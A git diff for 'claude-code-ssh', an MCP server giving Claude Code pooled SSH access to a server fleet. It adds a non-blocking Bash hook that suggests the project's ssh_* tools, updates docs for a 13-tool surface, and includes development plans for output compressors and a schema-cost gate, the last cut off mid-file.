diff --git a/.claude/hooks/ssh-bash-nudge.mjs b/.claude/hooks/ssh-bash-nudge.mjs new file mode 100755 index 0000000..5932bf2 --- /dev/null +++ b/.claude/hooks/ssh-bash-nudge.mjs @@ -0,0 +1,123 @@ +#!/usr/bin/env node +/** + * PreToolUse hook for the Bash tool. Detects a simple ssh/scp/rsync invocation + * against a configured server and prints a soft, non-blocking nudge toward the + * matching ssh_* MCP tool. Best-effort: simple shapes nudged, complex command + * lines passed through. Fail-open -- any error exits 0 with no nudge. + * + * Wired in .claude/settings.json under hooks.PreToolUse, matcher "Bash". + */ +import { readFileSync } from 'fs'; +import { fileURLToPath } from 'url'; + +// Shell metacharacters => the command line is not a simple invocation. Bail. +const COMPLEX = /[|&;<>`]|\$\(/; + +/** Configured server names from the project .env (best-effort, never throws). */ +export function configuredServers(envPath) { + try { + const text = readFileSync(envPath, 'utf8'); + const names = new Set(); + for (const line of text.split('\n')) { + // SSH_SERVER__HOST=... -- is the server identifier. + const m = /^\s*SSH_SERVER_([A-Za-z0-9]+)_HOST\s*=/.exec(line); + if (m) names.add(m[1].toLowerCase()); + } + return [...names]; + } catch { + return []; + } +} + +/** Strip a leading user@ and return the bare host token, lowercased. */ +function bareHost(token) { + const at = token.lastIndexOf('@'); + return (at === -1 ? token : token.slice(at + 1)).toLowerCase(); +} + +/** + * Inspect a Bash command string. Returns { tool, message } when it is a simple + * ssh/scp/rsync call against a configured server, else null. Never throws. + */ +export function detectSshNudge(command, servers) { + try { + if (!command || typeof command !== 'string') return null; + if (!Array.isArray(servers) || servers.length === 0) return null; + if (COMPLEX.test(command)) return null; + + const set = new Set(servers.map((s) => String(s).toLowerCase())); + const tokens = command.trim().split(/\s+/); + const head = tokens[0]; + + if (head === 'ssh') { + // First token after the flags that is not a flag or a flag-value is the host. + for (let i = 1; i < tokens.length; i++) { + const t = tokens[i]; + if (t === '-p' || t === '-i' || t === '-l' || t === '-o' || t === '-F') { + i++; // skip this flag's value + continue; + } + if (t.startsWith('-')) continue; + return set.has(bareHost(t)) + ? { tool: 'ssh_run', message: nudgeText(bareHost(t), 'ssh_run', 'ssh') } + : null; + } + return null; + } + + if (head === 'scp' || head === 'rsync') { + // Any non-flag token of the form host:path against a configured server. + for (let i = 1; i < tokens.length; i++) { + const t = tokens[i]; + if (t.startsWith('-')) continue; + const colon = t.indexOf(':'); + if (colon > 0 && set.has(bareHost(t.slice(0, colon)))) { + const host = bareHost(t.slice(0, colon)); + return { tool: 'ssh_file', message: nudgeText(host, 'ssh_file', head) }; + } + } + return null; + } + + return null; + } catch { + return null; + } +} + +/** The soft nudge text shown in the PreToolUse hook output. */ +function nudgeText(host, tool, rawCmd) { + return `[ssh-manager] '${host}' is a configured server. Consider the ` + + `${tool} MCP tool instead of raw \`${rawCmd}\` -- pooled connection, ` + + `bounded output, structured result. (This is a hint, not a block.)`; +} + +// --- CLI shell: invoked by Claude Code as a PreToolUse hook -------------- +// Reads the hook JSON payload on stdin; prints a nudge on stdout if one +// applies; always exits 0 so the Bash call is never blocked. +function main() { + let raw = ''; + try { + raw = readFileSync(0, 'utf8'); + } catch { + process.exit(0); // no stdin -> nothing to inspect + } + + let payload; + try { + payload = JSON.parse(raw); + } catch { + process.exit(0); // unparseable payload -> fail open + } + + const command = payload && payload.tool_input && payload.tool_input.command; + const envPath = fileURLToPath(new URL('../../.env', import.meta.url)); + const nudge = detectSshNudge(command, configuredServers(envPath)); + if (nudge) console.log(nudge.message); + process.exit(0); +} + +// Run main() only when executed directly, never when imported by a test. +if (import.meta.url === `file://${process.argv[1]}`) { + main(); +} diff --git a/.claude/settings.json b/.claude/settings.json new file mode 100644 index 0000000..8b1b3fe --- /dev/null +++ b/.claude/settings.json @@ -0,0 +1,15 @@ +{ + "hooks": { + "PreToolUse": [ + { + "matcher": "Bash", + "hooks": [ + { + "type": "command", + "command": "node \"$CLAUDE_PROJECT_DIR/.claude/hooks/ssh-bash-nudge.mjs\"" + } + ] + } + ] + } +} diff --git a/AGENTS.md b/AGENTS.md index 27a4b49..ef96b0b 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -1,7 +1,7 @@ # GitNexus — Code Intelligence -This project is indexed by GitNexus as **claude-code-ssh** (1340 symbols, 3668 relationships, 111 execution flows). Use the GitNexus MCP tools to understand code, assess impact, and navigate safely. +This project is indexed by GitNexus as **claude-code-ssh** (1341 symbols, 3675 relationships, 111 execution flows). Use the GitNexus MCP tools to understand code, assess impact, and navigate safely. > If any GitNexus tool warns the index is stale, run `npx gitnexus analyze` in terminal first. diff --git a/CLAUDE.md b/CLAUDE.md index eb444af..5d3979a 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -6,11 +6,11 @@ This file provides guidance to Claude Code when working on this repository. **claude-code-ssh** is an MCP server that gives Claude Code direct SSH access to a configured fleet of servers. The goal: Claude stops being a read-only assistant and becomes a hands-on operator — reading logs, editing configs, running backups, deploying, debugging — without a human typing commands between them. -51 tools, 7 groups, opt-in per user. Connection pooling, streaming exec, head+tail output truncation, ASCII-only rendering. +13 fat verb-tools, each covering one domain via an `action` enum. Always loaded (un-deferred). Connection pooling, streaming exec, head+tail output truncation, command-output compression, ASCII-only rendering. ## Architecture -- **`src/index.js`** — MCP server entry, registers all 51 tools via `registerToolConditional()` +- **`src/index.js`** — MCP server entry, registers the 13 v4 tools via `registerToolConditional()`; descriptions sourced from `src/tool-descriptions.js` - **`src/tools/*.js`** — 17 modular handler files, one per logical tool area (exec, files, backup, db, etc.) - **`src/tool-registry.js`** — tool metadata + group membership (core, sessions, monitoring, backup, database, advanced, gamechanger) - **`src/tool-config-manager.js`** — per-user enablement via `~/.ssh-manager/tools-config.json` @@ -58,14 +58,14 @@ ssh-manager tools export-claude # Export auto-approval config **Tool Groups**: core (5), sessions (4), monitoring (6), backup (4), database (4), advanced (14) -**Modes**: all (37 tools, ~43.5k tokens), minimal (5 tools, ~3.5k tokens), custom (variable) +**Modes**: v4 surface is always loaded (13 tools, ~5k tokens); the per-group mode system is deprecated. See [docs/TOOL_MANAGEMENT.md](docs/TOOL_MANAGEMENT.md) for complete guide. ### Development and Testing ```bash npm start # Start MCP server (requires stdin) -npm test # Run 551 tests across 26 suites +npm test # Run 1028 tests ./scripts/validate.sh # Syntax + startup check node --check src/index.js # JavaScript syntax only ``` @@ -204,10 +204,25 @@ claude mcp add ssh-manager node /absolute/path/to/claude-code-ssh/src/index.js Configuration is stored in `~/.config/claude-code/claude_code_config.json` +## Using the SSH Tools + +**For any server configured in this MCP server, use the `ssh_*` MCP tools — not raw `ssh`, `scp`, or `rsync` through the Bash tool.** + +The 13 v4 tools (`ssh_run`, `ssh_file`, `ssh_find`, `ssh_logs`, `ssh_service`, `ssh_health`, `ssh_db`, `ssh_backup`, `ssh_session`, `ssh_net`, `ssh_docker`, `ssh_fleet`, `ssh_plan`) are not a read-only convenience layer — they are the intended way to operate the fleet. Reach for them first. + +Why they beat raw `ssh` in Bash: + +- **Connection pooling** — the MCP server holds persistent SSH connections, so there is no per-call handshake. Raw `ssh` in Bash reconnects every single time. +- **Bounded output** — results are compressed and head+tail truncated, so a noisy command (`journalctl`, `ps`, a 100k-line log) will not flood the context window. Raw `ssh` dumps everything. +- **Credential handling** — passwords and sudo passwords are passed via stdin or env, never leaked on the argv of a `ps`-visible process. Raw `ssh` with an inline password is exposed. +- **Structured results** — per-segment exit codes for command chains, typed service/health snapshots, SFTP transfers with sha256 verification. Raw `ssh` gives an unstructured terminal dump. + +Raw `ssh` through Bash is acceptable only for a host that is **not** in the MCP configuration. Run `ssh_fleet action: servers` to see which servers are configured. + # GitNexus — Code Intelligence -This project is indexed by GitNexus as **claude-code-ssh** (1340 symbols, 3668 relationships, 111 execution flows). Use the GitNexus MCP tools to understand code, assess impact, and navigate safely. +This project is indexed by GitNexus as **claude-code-ssh** (1341 symbols, 3675 relationships, 111 execution flows). Use the GitNexus MCP tools to understand code, assess impact, and navigate safely. > If any GitNexus tool warns the index is stale, run `npx gitnexus analyze` in terminal first. diff --git a/README.md b/README.md index f7ea35f..35ab691 100644 --- a/README.md +++ b/README.md @@ -103,7 +103,7 @@ flowchart LR C[Claude Code] end subgraph mcp["claude-code-ssh (MCP server)"] - T[51 typed tools] + T[13 verb-tools] P[ssh2 connection pool] O[head+tail output] T --> P @@ -121,9 +121,9 @@ flowchart LR B --> H1 ``` -- **51 typed tools across 7 groups** — shell, files, databases, backups, deploys, tunnels, sessions. Claude picks; you never enumerate. +- **13 fat verb-tools** — one per domain (run, files, logs, db, docker, services, ...), each with an action enum. Claude picks; you never enumerate. - **Pooled connections** — 30-minute idle timeout. Reconnects cost zero. -- **Opt-in per group** — minimal mode (5 tools, ~3.5k tokens) to full mode (51 tools, ~43k tokens). +- **Always loaded** — the 13-tool schema is small enough (~5k tokens) to stay un-deferred. No per-group opt-in to manage. ## Install @@ -224,8 +224,8 @@ Claude already has a bash tool. Why this server? | Sudo password handling | argv / `echo pwd \| sudo -S` (leaks to `ps`) | stdin only, never argv | | DB query safety | Claude can send `DROP TABLE` | token-level SQL parser, SELECT only | | Host key verification | TOFU by default, no MITM check | SHA256 fingerprint match, strict mode available | -| Tool surface | 1 generic shell exec | 51 typed tools with JSON schemas | -| Context cost | unbounded per command | ~3.5k tokens minimal mode, ~43k full | +| Tool surface | 1 generic shell exec | 13 verb-tools with JSON schemas | +| Context cost | unbounded per command | ~5k tokens, always loaded | The pitch isn't "Claude couldn't SSH before." The pitch is "Claude could SSH, but badly — and one bad command on prod is one too many." @@ -241,7 +241,7 @@ What this doesn't do, today, honestly: ## Testing ```bash -npm test # 551 tests across 26 suites +npm test # 1031 tests ``` ## Layout diff --git a/docs/TOOL_MANAGEMENT.md b/docs/TOOL_MANAGEMENT.md index 8248fac..f2f04a0 100644 --- a/docs/TOOL_MANAGEMENT.md +++ b/docs/TOOL_MANAGEMENT.md @@ -2,33 +2,18 @@ ## Overview -claude-code-ssh provides **37 tools** organized into **6 functional groups**. You can enable or disable tool groups to customize your experience and reduce context usage in Claude Code. - -### Why Manage Tools? - -- **Reduce Context Usage**: By default, all 37 tools consume ~43.5k tokens in Claude Code. Minimal mode uses only ~3.5k tokens (92% reduction) -- **Fewer Approval Prompts**: Only enabled tools require approval in Claude Code -- **Faster Loading**: Less tools mean faster MCP server startup -- **Cleaner Interface**: Only see the tools you actually use - -## Quick Start - -### View Current Configuration - -```bash -ssh-manager tools list -``` - -### Interactive Configuration Wizard - -```bash -ssh-manager tools configure -``` - -Choose from three modes: -1. **All tools** (37 tools) - Full feature set, recommended for most users -2. **Minimal** (5 tools) - Only core operations, maximum efficiency -3. **Custom** - Pick which groups to enable +> **v4 update:** the v4 surface is **13 fat verb-tools**, always loaded. The +> per-group enable/disable model described below belonged to the v3 51-tool +> surface and no longer applies — there are no tool *groups* in v4. The 13 +> tools serialize to roughly 5k schema tokens, small enough that Claude Code +> keeps them loaded without `ToolSearch`. This guide is retained for historical +> reference; the `ssh-manager tools` CLI subcommands are deprecated. + +claude-code-ssh provides **13 tools**, each a verb-tool covering one domain +through an `action` enum (`ssh_run`, `ssh_file`, `ssh_find`, `ssh_logs`, +`ssh_service`, `ssh_health`, `ssh_db`, `ssh_backup`, `ssh_session`, `ssh_net`, +`ssh_docker`, `ssh_fleet`, `ssh_plan`). All 13 are registered unconditionally — +there is nothing to enable or disable. ### Enable/Disable Specific Groups @@ -157,8 +142,8 @@ Advanced features for power users: } ``` -- **Enabled tools**: 37/37 -- **Context usage**: ~43.5k tokens +- **Enabled tools**: the full v3 tool set +- **Context usage**: the full v3 schema cost - **Best for**: Users who need all features ### Minimal Mode @@ -198,7 +183,7 @@ Advanced features for power users: } ``` -- **Enabled tools**: Custom (5-37 tools) +- **Enabled tools**: Custom (a hand-picked v3 subset) - **Context usage**: Varies based on selection - **Best for**: Tailoring to specific workflows @@ -270,7 +255,7 @@ ssh-manager tools enable monitoring ssh-manager tools configure # Choose "1) All tools" ``` -**Result**: 37 tools = ~43.5k tokens +**Result**: the full v3 tool set loaded ### Scenario 3: Database Administrator @@ -431,7 +416,7 @@ Add comments to your config file to remember why you enabled specific groups: ### Q: Will existing users see any changes? -**A**: No. If no configuration file exists, all 37 tools are enabled by default (current behavior). +**A**: No. Under the v3 model, with no configuration file every tool was enabled by default. The v4 surface is always fully loaded -- there is nothing to enable or disable. ### Q: Can I enable individual tools without enabling the whole group? @@ -451,7 +436,7 @@ Add comments to your config file to remember why you enabled specific groups: ### Q: How much does minimal mode actually save? -**A**: Minimal mode (5 tools) uses ~3.5k tokens vs all tools (37 tools) at ~43.5k tokens. That's a **92% reduction** or **~40k tokens saved**. +**A**: Under the v3 model, minimal mode (5 tools) cut the schema cost sharply versus enabling the full tool set. This no longer applies -- the v4 surface is a flat 13-tool set, always loaded. ## Command Reference diff --git a/docs/superpowers/plans/2026-05-16-ssh-mcp-v4-compressors.md b/docs/superpowers/plans/2026-05-16-ssh-mcp-v4-compressors.md new file mode 100644 index 0000000..93d8539 --- /dev/null +++ b/docs/superpowers/plans/2026-05-16-ssh-mcp-v4-compressors.md @@ -0,0 +1,421 @@ +# ssh-mcp v4 Command-Output Compressors Implementation Plan + +> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking. + +**Goal:** Add per-command output compression — recognise the command type and shape its output (drop `ls` `total` lines, cap `ps` rows) — running ahead of head+tail truncation, with a universal `raw: true` bypass. + +**Architecture:** New `src/command-compressors.js` holds a `compress(command, text, opts)` dispatcher plus per-command compressor functions. `formatExecResult` in `src/output-formatter.js` calls `compress` between ANSI-stripping and truncation, and gains a `raw` option to bypass it. Compression is purely additive to the pipeline — when no compressor matches, output is returned unchanged. + +**Tech Stack:** Node.js ESM, the `node:assert`-based suites run by `scripts/run-tests.mjs`. + +This is Plan 3 of 6. Plans 1-2 (render primitives, output rewrite) are complete. Plan 4: 13-tool dispatcher facade. Plan 5: new capabilities. Plan 6: adoption. The `df`, `git log`, and test-runner compressors are intentionally deferred to a later plan — `ps` and `ls` are the high-volume cases. Source spec: `docs/superpowers/specs/2026-05-16-ssh-mcp-redesign-design.md` section 4. + +--- + +## File Structure + +- **Create `src/command-compressors.js`** — the `compress` dispatcher, the per-command compressor functions (`compressLs`, `compressPs`), and a shared footer helper. One file, one responsibility: turning raw command output into shorter output. +- **Modify `src/output-formatter.js`** — `formatExecResult` calls `compress` and accepts a `raw` option. +- **Create `tests/test-command-compressors.js`** — suite for the module. Auto-discovered by `scripts/run-tests.mjs`. + +Compression order in the pipeline: raw stdout → `stripAnsi` → `compress` → `truncateHeadTail` → render. Compressors must see un-truncated input, so `compress` runs before `truncateHeadTail`. + +--- + +## Task 1: Compressor module with `ls` compressor + +Create the module with the `compress` dispatcher, a shared footer, and the `ls` compressor (drops the leading `total N` summary line). + +**Files:** +- Create: `src/command-compressors.js` +- Test: `tests/test-command-compressors.js` (create) + +- [ ] **Step 1: Write the failing test** + +Create `tests/test-command-compressors.js`: + +```javascript +#!/usr/bin/env node +/** + * Test suite for src/command-compressors.js. + * Run: node tests/test-command-compressors.js + */ +import assert from 'assert'; +import { compress, compressLs } from '../src/command-compressors.js'; + +let passed = 0; +let failed = 0; +const fails = []; + +function test(name, fn) { + try { + fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +console.log('[test] Testing command-compressors\n'); + +// --- compressLs ---------------------------------------------------------- +test('compressLs: drops a leading "total" line', () => { + const out = compressLs('total 8\ndrwxr-xr-x a\n-rw-r--r-- b'); + assert.strictEqual(out.text, 'drwxr-xr-x a\n-rw-r--r-- b'); + assert.strictEqual(out.dropped, 1); +}); + +test('compressLs: no total line -> unchanged, dropped 0', () => { + const out = compressLs('file1\nfile2'); + assert.strictEqual(out.text, 'file1\nfile2'); + assert.strictEqual(out.dropped, 0); +}); + +// --- compress dispatcher ------------------------------------------------- +test('compress: ls command routes to compressLs and appends footer', () => { + const r = compress('ls -la /tmp', 'total 8\nfile1'); + assert(r.startsWith('file1'), 'total line dropped'); + assert(r.includes('re-run with raw: true'), 'escape-hatch footer present'); +}); + +test('compress: raw:true bypasses compression entirely', () => { + const r = compress('ls -la', 'total 8\nfile1', { raw: true }); + assert.strictEqual(r, 'total 8\nfile1'); +}); + +test('compress: unmatched command returned unchanged, no footer', () => { + const r = compress('echo hi', 'hi'); + assert.strictEqual(r, 'hi'); +}); + +test('compress: ls with nothing to drop adds no footer', () => { + const r = compress('ls', 'file1\nfile2'); + assert.strictEqual(r, 'file1\nfile2'); +}); + +test('compress: empty / nullish text is safe', () => { + assert.strictEqual(compress('ls', ''), ''); + assert.strictEqual(compress('ls', null), ''); +}); + +// --- Summary ------------------------------------------------------------- +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} +``` + +- [ ] **Step 2: Run test to verify it fails** + +Run: `node tests/test-command-compressors.js` +Expected: FAIL — `Cannot find module '../src/command-compressors.js'`. + +- [ ] **Step 3: Write the module** + +Create `src/command-compressors.js`: + +```javascript +/** + * Command-output compressors. Per-command-type shaping that runs after + * ANSI stripping and before head+tail truncation. raw:true bypasses all of it. + * + * Each compressor is pure: (text) -> { text, dropped }. The dispatcher appends + * a footer naming the raw escape hatch whenever a compressor dropped anything. + */ + +/** Escape-hatch footer appended when output was compressed. */ +function footer(dropped) { + return `\n... ${dropped} line${dropped === 1 ? '' : 's'} compressed` + + ' -- re-run with raw: true for full output'; +} + +/** + * Drop a leading `total N` summary line (the `ls -l` block-count header). + */ +export function compressLs(text) { + const s = String(text == null ? '' : text); + const nl = s.indexOf('\n'); + const first = (nl === -1 ? s : s.slice(0, nl)).trim(); + if (/^total \d+$/.test(first)) { + return { text: nl === -1 ? '' : s.slice(nl + 1), dropped: 1 }; + } + return { text: s, dropped: 0 }; +} + +// command-prefix -> compressor. First match wins. +const COMPRESSORS = [ + { match: /^ls(\s|$)/, fn: compressLs }, +]; + +/** + * Compress command output by command type. raw:true returns text unchanged. + * Unmatched commands return unchanged. A footer is appended only when a + * compressor actually dropped lines. + */ +export function compress(command, text, { raw = false } = {}) { + const s = String(text == null ? '' : text); + if (raw || s === '') return s; + const cmd = String(command == null ? '' : command).trim(); + for (const { match, fn } of COMPRESSORS) { + if (match.test(cmd)) { + const out = fn(s); + return out.dropped > 0 ? out.text + footer(out.dropped) : out.text; + } + } + return s; +} +``` + +- [ ] **Step 4: Run test to verify it passes** + +Run: `node tests/test-command-compressors.js` +Expected: PASS — `7 passed, 0 failed`. + +- [ ] **Step 5: Commit** + +```bash +git add src/command-compressors.js tests/test-command-compressors.js +git commit -m "feat: add command-output compressor module with ls compressor" +``` + +--- + +## Task 2: `ps` compressor + +Add a `ps` compressor: keep the header line plus the top 15 rows, drop the rest. `ps` output from the v4 process tools is pre-sorted by CPU, so the top rows are the meaningful ones; the long idle tail is what floods context. + +**Files:** +- Modify: `src/command-compressors.js` +- Test: `tests/test-command-compressors.js` (extend) + +- [ ] **Step 1: Write the failing test** + +In `tests/test-command-compressors.js`, change the import line to add `compressPs`: + +```javascript +import { compress, compressLs, compressPs } from '../src/command-compressors.js'; +``` + +Add these tests before the `// --- Summary` section: + +```javascript +// --- compressPs ---------------------------------------------------------- +test('compressPs: at or under the cap -> unchanged, dropped 0', () => { + const out = compressPs('HEADER\nrow1\nrow2'); + assert.strictEqual(out.text, 'HEADER\nrow1\nrow2'); + assert.strictEqual(out.dropped, 0); +}); + +test('compressPs: over the cap keeps header + 15 rows, reports dropped', () => { + const rows = Array.from({ length: 30 }, (_, i) => `row${i}`).join('\n'); + const out = compressPs('HEADER\n' + rows); + const lines = out.text.split('\n'); + assert.strictEqual(lines.length, 16, 'header + 15 rows'); + assert.strictEqual(lines[0], 'HEADER'); + assert.strictEqual(lines[15], 'row14', 'kept rows are the top of the list'); + assert.strictEqual(out.dropped, 15); +}); + +test('compress: ps command routes to compressPs with footer', () => { + const rows = Array.from({ length: 30 }, (_, i) => `r${i}`).join('\n'); + const r = compress('ps -eo pid,args', 'HEAD\n' + rows); + assert(r.includes('15 lines compressed'), 'footer reports dropped count'); +}); + +test('compress: ps inside a pipeline is still detected', () => { + const rows = Array.from({ length: 30 }, (_, i) => `r${i}`).join('\n'); + const r = compress('sudo ps aux | grep node', 'HEAD\n' + rows); + assert(r.includes('compressed'), 'ps after sudo/pipe still matched'); +}); +``` + +- [ ] **Step 2: Run test to verify it fails** + +Run: `node tests/test-command-compressors.js` +Expected: FAIL — `does not provide an export named 'compressPs'`. + +- [ ] **Step 3: Add the `ps` compressor** + +In `src/command-compressors.js`, add the `compressPs` function after `compressLs`: + +```javascript +/** Rows to keep from a ps listing (header is kept on top of these). */ +const PS_KEEP = 15; + +/** + * Keep the ps header line plus the top PS_KEEP rows; drop the idle tail. + * Input is assumed CPU-sorted (the v4 process tools sort with --sort=-%cpu). + */ +export function compressPs(text) { + const s = String(text == null ? '' : text); + const lines = s.split('\n'); + if (lines.length <= PS_KEEP + 1) return { text: s, dropped: 0 }; + const kept = lines.slice(0, PS_KEEP + 1); + return { text: kept.join('\n'), dropped: lines.length - kept.length }; +} +``` + +Then extend the `COMPRESSORS` array to register it. Replace: + +```javascript +const COMPRESSORS = [ + { match: /^ls(\s|$)/, fn: compressLs }, +]; +``` + +with: + +```javascript +const COMPRESSORS = [ + { match: /^ls(\s|$)/, fn: compressLs }, + // ps may appear after `sudo ` or a pipe/`;`/`&`. + { match: /(^|[|;&]\s*|^sudo\s+)ps(\s|$)/, fn: compressPs }, +]; +``` + +- [ ] **Step 4: Run test to verify it passes** + +Run: `node tests/test-command-compressors.js` +Expected: PASS — `11 passed, 0 failed`. + +- [ ] **Step 5: Commit** + +```bash +git add src/command-compressors.js tests/test-command-compressors.js +git commit -m "feat: add ps command-output compressor" +``` + +--- + +## Task 3: Wire `compress` into `formatExecResult` + +Make `formatExecResult` run `compress` between `stripAnsi` and `truncateHeadTail`, and accept a `raw` option that bypasses compression. + +**Files:** +- Modify: `src/output-formatter.js` +- Test: `tests/test-output-formatter.js` (extend) + +- [ ] **Step 1: Write the failing test** + +In `tests/test-output-formatter.js`, add these tests immediately before the `// --- formatBytes` section: + +```javascript +test('formatExecResult: ps stdout is compressed by default', () => { + const rows = Array.from({ length: 40 }, (_, i) => `r${i}`).join('\n'); + const r = formatExecResult({ + server: 's', command: 'ps -eo pid,args', stdout: 'HEAD\n' + rows, + stderr: '', code: 0, durationMs: 1, + }); + assert(r.stdout.includes('compressed'), 'compressor footer present'); + assert(r.stdout.split('\n').length < 41, 'tail rows dropped'); +}); + +test('formatExecResult: raw:true skips compression', () => { + const rows = Array.from({ length: 40 }, (_, i) => `r${i}`).join('\n'); + const r = formatExecResult({ + server: 's', command: 'ps -eo pid,args', stdout: 'HEAD\n' + rows, + stderr: '', code: 0, durationMs: 1, raw: true, + }); + assert(!r.stdout.includes('compressed'), 'no compression when raw'); + assert.strictEqual(r.stdout, 'HEAD\n' + rows); +}); + +test('formatExecResult: non-ps/ls command output is untouched', () => { + const r = formatExecResult({ + server: 's', command: 'echo hi', stdout: 'hi\nthere', + stderr: '', code: 0, durationMs: 1, + }); + assert.strictEqual(r.stdout, 'hi\nthere'); +}); +``` + +- [ ] **Step 2: Run test to verify it fails** + +Run: `node tests/test-output-formatter.js` +Expected: FAIL — `formatExecResult: ps stdout is compressed by default` fails because `formatExecResult` does not yet call `compress`. + +- [ ] **Step 3: Wire `compress` into `formatExecResult`** + +In `src/output-formatter.js`, add this import at the top of the file, after the existing `import { OUTPUT_LIMITS } from './config.js';` line: + +```javascript +import { compress } from './command-compressors.js'; +``` + +Replace the entire `formatExecResult` function with: + +```javascript +/** + * Build the structured ExecResult from raw stream output. + * Input: { server, command, cwd?, stdout, stderr, code, durationMs, maxLen?, raw? } + * Output: wire-schema JSON object. + * + * stdout passes through compress() (per-command shaping) before truncation; + * raw:true bypasses compression. stderr is never compressed -- errors stay whole. + */ +export function formatExecResult({ + server, + command, + cwd, + stdout, + stderr, + code, + durationMs, + maxLen = OUTPUT_LIMITS.MAX_OUTPUT_LENGTH, + raw = false, +}) { + const shapedStdout = compress(command, stripAnsi(stdout), { raw }); + const out = truncateHeadTail(shapedStdout, maxLen); + const err = truncateHeadTail(stripAnsi(stderr), maxLen); + return { + server, + command, + cwd: cwd ?? null, + exit_code: code ?? -1, + success: code === 0, + duration_ms: Math.max(0, durationMs | 0), + stdout: out.text, + stderr: err.text, + truncated: { + stdout_bytes: out.truncatedBytes, + stderr_bytes: err.truncatedBytes, + stdout_total: out.originalBytes, + stderr_total: err.originalBytes, + }, + }; +} +``` + +- [ ] **Step 4: Run test to verify it passes** + +Run: `node tests/test-output-formatter.js` +Expected: PASS — all tests green, including the three new ones. + +The pre-existing `formatExecResult: ANSI stripped before truncation` test uses `command: 'ls --color'` with stdout `dir1\ndir2`. `compressLs` finds no `total` line, so it returns the text unchanged and that test still passes. No other pre-existing `formatExecResult` test uses an `ls`- or `ps`-prefixed command. + +- [ ] **Step 5: Run the full suite** + +Run: `npm test` +Expected: `36 files, 687 passed, 0 failed` — the previous 673, plus the 11-test `test-command-compressors.js` suite, plus the 3 new `formatExecResult` tests. Zero failures, no regression in any pre-existing suite. + +- [ ] **Step 6: Commit** + +```bash +git add src/output-formatter.js tests/test-output-formatter.js +git commit -m "feat: run command-output compression in formatExecResult" +``` + +--- + +## Done criteria + +- `src/command-compressors.js` exports `compress`, `compressLs`, `compressPs`. +- `formatExecResult` compresses `stdout` (per command type) before truncating; `raw: true` bypasses it; `stderr` is never compressed. +- A compressed result carries the `re-run with raw: true` footer. +- `npm test` is green with the new `test-command-compressors.js` suite and zero regressions. + +Plan 4 (13-tool dispatcher facade) threads a `raw` argument from each tool's input schema through to `formatExecResult`, and adds the `df` / `git log` / test-runner compressors when their owning tools are built. diff --git a/docs/superpowers/plans/2026-05-16-ssh-mcp-v4-foundation.md b/docs/superpowers/plans/2026-05-16-ssh-mcp-v4-foundation.md new file mode 100644 index 0000000..34944c0 --- /dev/null +++ b/docs/superpowers/plans/2026-05-16-ssh-mcp-v4-foundation.md @@ -0,0 +1,505 @@ +# ssh-mcp v4 Foundation Implementation Plan + +> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking. + +**Goal:** Build the v4 render foundation — a pre-build schema-cost gate plus four pure render primitives (`renderHeader`, `indentBody`, `renderKV`, `renderRows`) that every v4 tool will format output through. + +**Architecture:** Additive only. New primitives are added as exports to `src/output-formatter.js`; no existing function is modified, so nothing breaks. A new test suite covers them. A standalone script measures the proposed v4 tool-schema token cost as a go/no-go gate. The render-layer *rewrite* that adopts these primitives (`defaultRender`, `renderMarkdown`, `format: compact`) is deliberately deferred to Plan 2 so this plan ships zero-risk. + +**Tech Stack:** Node.js ESM, the existing `node:assert`-based test suites run by `scripts/run-tests.mjs`, zod v4. + +This is Plan 1 of 5. Plan 2: output rewrite (adopt primitives, `format: compact`, compressors). Plan 3: 13-tool dispatcher facade. Plan 4: new capabilities (`ssh_find`, detach/job, `;`-chain sentinels). Plan 5: adoption (CLAUDE.md rule, Bash hook). Source spec: `docs/superpowers/specs/2026-05-16-ssh-mcp-redesign-design.md`. + +--- + +## File Structure + +- **Create `scripts/measure-schema-tokens.mjs`** — standalone pre-build gate. Builds sample zod schemas for the three fattest proposed v4 tools, serializes them to JSON Schema, prints token cost, exits non-zero if the consolidated surface would not beat the current 51-tool surface. +- **Modify `src/output-formatter.js`** — append four new exported functions. No existing export is touched. +- **Create `tests/test-render-primitives.js`** — new suite for the four primitives. Auto-discovered by `scripts/run-tests.mjs` (matches `test-*.js`). + +--- + +## Task 1: Pre-build schema-cost gate + +This is a go/no-go gate, not a TDD task. If it fails, stop and revisit the spec — the fat-tool model is unsound and the rest of v4 should not be built. + +**Files:** +- Create: `scripts/measure-schema-tokens.mjs` + +- [ ] **Step 1: Create the measurement script** + +```javascript +#!/usr/bin/env node +// Pre-build gate for ssh-mcp v4. Measures the JSON-Schema token cost of the +// three fattest proposed v4 tools. Exits non-zero (GATE: FAIL) if any single +// tool exceeds the per-tool ceiling or the extrapolated 13-tool surface would +// not beat the current ~14k-token, 51-tool surface. +import { z } from 'zod'; + +const PER_TOOL_CEIL = 1500; // tokens; no single fat tool may exceed this +const SURFACE_CEIL = 14000; // tokens; the current 51-tool surface (measured baseline) +const tokens = (o) => Math.ceil(JSON.stringify(o).length / 4); + +const sshRun = z.object({ + server: z.string().describe('Server name from configuration'), + action: z.enum(['exec', 'sudo', 'script', 'fleet', 'detach', 'job-status', 'job-kill']) + .describe('Operation to perform'), + command: z.string().optional().describe('Command to run (actions: exec, sudo, detach)'), + commands: z.array(z.string()).optional().describe('Commands to chain (action: script)'), + cwd: z.string().optional().describe('Working directory'), + group: z.string().optional().describe('Server group name (action: fleet)'), + job_id: z.string().optional().describe('Job id (actions: job-status, job-kill)'), + sudo_password: z.string().optional().describe('Sudo password (action: sudo)'), + timeout: z.number().optional().describe('Timeout in milliseconds'), + isolate: z.boolean().optional().describe('Run script segments in separate shells'), + raw: z.boolean().optional().describe('Disable output compression and truncation'), + format: z.enum(['compact', 'json', 'markdown']).optional().describe('Output format'), +}); + +const sshFile = z.object({ + server: z.string().describe('Server name from configuration'), + action: z.enum(['upload', 'download', 'sync', 'read', 'write', 'edit', 'diff', 'deploy', 'deploy-artifact']) + .describe('File operation to perform'), + local_path: z.string().optional().describe('Local path (actions: 